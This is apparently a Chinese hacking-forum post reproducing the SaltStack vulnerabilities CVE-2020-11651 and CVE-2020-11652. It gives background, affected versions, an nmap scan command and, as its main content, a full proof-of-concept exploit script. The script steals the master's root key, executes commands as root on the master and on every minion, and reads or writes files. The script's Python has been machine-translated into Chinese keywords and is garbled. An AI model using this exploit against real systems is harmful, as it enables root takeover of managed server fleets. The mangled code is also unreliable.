H

SaltStack 远程命令执行漏洞复现(CVE-2020-11651)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

SaltStack 远程命令执行漏洞复现(CVE-2020-11651)​

SaltStack 简介​

Saltstack是一组基于Python开发的C/S架构配置管理工具。它是服务器基础架构的集中管理平台。它具有配置管理,远程执行,监视和其他功能。它是基于Python语言实现的,它是使用轻质消息队列(Zeromq)和Python第三方模块(Pyzmq,Pycrypto,Pyjinjia2,Python-MSGPACK和PYYAML等)构建的。
盐用于监视和更新服务器状态。每个服务器都运行一个名为Minion的代理,该代理连接到主主机,盐安装程序,该安装程序收集来自Miniions的状态报告,并发布Miniions可以执行操作的更新消息。通常,此类消息是对所选服务器配置的更新,但是它们也可以用于在多个(甚至所有)托管系统上并行运行相同的命令。
盐中的默认通信协议是Zeromq。主服务器曝光了两个Zeromq实例,一个称为请求服务器,小兵可以连接以报告其状态(或命令输出),另一个称为发布服务器,主服务器可以连接到这些消息并订阅这些消息。

漏洞详情​

影响版本​

Saltstack 2019.2.4 Saltstack 3000.2

漏洞细节​

身份验证绕过漏洞(CVE-2020-11651)​

ClearFuncs类在处理授权时不会限制_send_pub()方法。此方法可以直接发布队列消息。已发布的消息将通过根身份权限执行命令。 clearfuncs还可以揭示_prep_auth_info()方法,可以通过该方法获得root键,并且可以使用所获得的root键来远程调用主服务上的命令。

目录遍历漏洞(CVE-2020-11652)​

井模块包含用于在特定目录中读取和编写文件的命令。在函数中输入的信息与旁路目录限制的目录剪接。
The get_token() method in the salt.tokens.localfs class (callable by the ClearFuncs class without authorization) cannot delete the entered parameters and is used as a file name, and files outside the target directory are read in the path by splicing . The only limitation is that the file must be deserialized via salt.payload.Serial.loads() .

漏洞复现​

nmap 探测端口​

1
NMAP -SV -P 4504,4506 IP
20200513165628.png-water_print

exp​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env Python3
导入argparse
导入日期
导入操作系统
导入pip
导入系统
进口警告
def安装(软件包):
如果hasattr(pip,'main'):
pip.main(['install',package])
其他:
pip._internal.main([['install',package])
TRY:
进口盐
进口盐
进口盐.transport.client
进口盐
Except:
安装('Distro')
安装(“盐”)
DEF PING(通道):
消息={
'cmd':'ping'
}
TRY:
响应=Channel.Send(消息,超时=5)
如果响应:
返回true
除Salt.Exceptions.Saltreq TimeOutror:外
经过
返回false
DEF GET_ROOTKEY(频道):
消息={
'cmd':'_prep_auth_info'
}
TRY:
响应=Channel.Send(消息,超时=5)
我在响应中:
如果Isinstance(i,dict)和len(i)==1:
rootkey=list(i.values())[0]
返回rootkey
Except:
经过
返回false
Def Minion(频道,命令):
消息={
'cmd':'_send_pub',
'fun':'cmd.run',
'arg': ['/bin/sh -c \'{command} \''],
'tgt':'*',
'ret':'',
'tgt_type':'glob',
'user':'root',
'jid':'{0:%y%m%d%h%h%m%s%f}'。格式(dateTime.dateTime.utcnow()),
'_STAMP':'{0:%y-%m-%dt%H:%M:%S.%f}'。格式(dateTime.dateTime.dateTime.utcnow())
}
TRY:
响应=Channel.Send(消息,超时=5)
如果响应==none:
返回true
Except:
经过
返回false
def master(频道,键,命令):
消息={
'KEY':键,
'cmd':'跑者',
'Fun':'Salt.cmd',
'Kwarg': {
'fun':'cmd.exec_code',
'lang':'python3',
'code': f'import subprocess; subprocess.call(\'{command} \',shell=true)'
},
'user':'root',
'jid':'{0:%y%m%d%h%h%m%s%f}'。格式(dateTime.dateTime.utcnow()),
'_STAMP':'{0:%y-%m-%dt%H:%M:%S.%f}'。格式(dateTime.dateTime.dateTime.utcnow())
}
TRY:
响应=Channel.Send(消息,超时=5)
log('[]响应:' + str(wonsevy))
Except:
返回false
def下载(频道,钥匙,src,dest):
消息={
'KEY':键,
'cmd':'车轮',
'fun':'file_roots.read',
'path':路径,
'saltenv':'base',
}
TRY:
响应=Channel.Send(消息,超时=5)
data=响应['data'] ['返回'] [0] [路径]
以O:为开放(dest,'wb')
O.Write(数据)
返回true
Except:
返回false
def上载(频道,键,SRC,dest):
TRY:
以S:为开放(src,'rb')
data=s.read()
除异常外,E:
print(f'[]未能读取{src} : {e}')
返回false
消息={
'KEY':键,
'cmd':'车轮',
'fun':'file_roots.write',
'saltenv':'base',
'Data':数据,
'path': dest,
}
TRY:
响应=Channel.Send(消息,超时=5)
返回true
Except:
返回false
DEF日志(消息):
如果不是Args.Quiet:
打印(消息)
如果名称=='__ Main __':
警告。FilterWarnings(“忽略”)
desc='CVE-2020-11651 POC'
Parser=argparse.argumentparser(description=desc)
parser.add_argument(' - host','-t',dest='master_host',metavar=('host'),必需=true)
parser.add_argument(' - port','-p',dest='master_port',metavar=('port'),默认='4506',必需=false)
parser.add_argument(' - execute','-e',dest='命令',默认='/bin/sh',help='命令执行。DEFAUL3:/bin/sh',必需=false)
parser.add_argument(' - upload','-u',dest='upload',nargs=2,metavar=('src','dest'),help='uplot='upload a file',quired offirce=false)
parser.add_argument(' - download','-d',dest='download',nargs=2,metavar=('src','dest'),help='下载文件',必需=false)
parser.add_argument(' - minions',dest='minions',默认=false,action='store_true',help='将命令发送给主'上的所有奴才'
parser.add_argument(' - QUIET','-Q',dEST='qoot',默认=false,action='store_true',help='enable neet neet/silent Mode',quilt oilder=false)
parser.add_argument(' - fetch-key-inly',dest='fetchKeyonly',默认=false,action='solet_true',help='holl
args=parser.parse_args()
minion_config={
'Transport':'Zeromq',
'pki_dir':'/tmp',
'id':'root',
'log_level':'调试',
'master_ip': args.master_host,
'master_port': args.master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': f'tcp: //{args.master_host} : {args.master_port}'
}
clear_channel=salt.transport.client.reqchannel.factory(minion_config,crypt='clear')
log(f'[+]尝试ping {args.master_host}')
如果不是ping(clear_channel):
log('[ - ]未能ping主人')
log('[+]退出')
sys.exit(1)
log('[+]试图从实例获取root键。')
rootkey=get_rootkey(clear_channel)
如果不是rootkey:
log('[ - ]无法从实例获取root键。')
sys.exit(1)
log('[ +]检索根键:' + rootkey)
如果args.fetchkeyonly:
sys.exit(1)
如果Args.upload:
log(f'[+] attem以上{src}到{dest}')
如果上传(clear_channel,rootkey,args.upload [0],args.upload [1]):
log('[+]上传完成!')
其他:
log('[ - ]失败')
如果args.download:
log(f'[+]提取下载{src}到{dest}')
如果下载(clear_channel,rootkey,args.download [0],args.download [1]):
log('[+]下载完成!')
其他:
log('[ - ]失败')
如果args.minions:
log('[+]试图将命令发送到主上的所有小兵')
如果不是奴才(clear_channel,命令):
log('[ - ]失败')
其他:
log('[+]试图将命令发送给主')
如果不是主(clear_channel,rootkey,命令):
log('[ - ]失败')

漏洞利用​

读取root键以检测是否存在漏洞:
20200513165917.png-water_print

目录遍历
20200513165951.png-water_print

命令执行
20200513170014.png-water_print
 
后退
顶部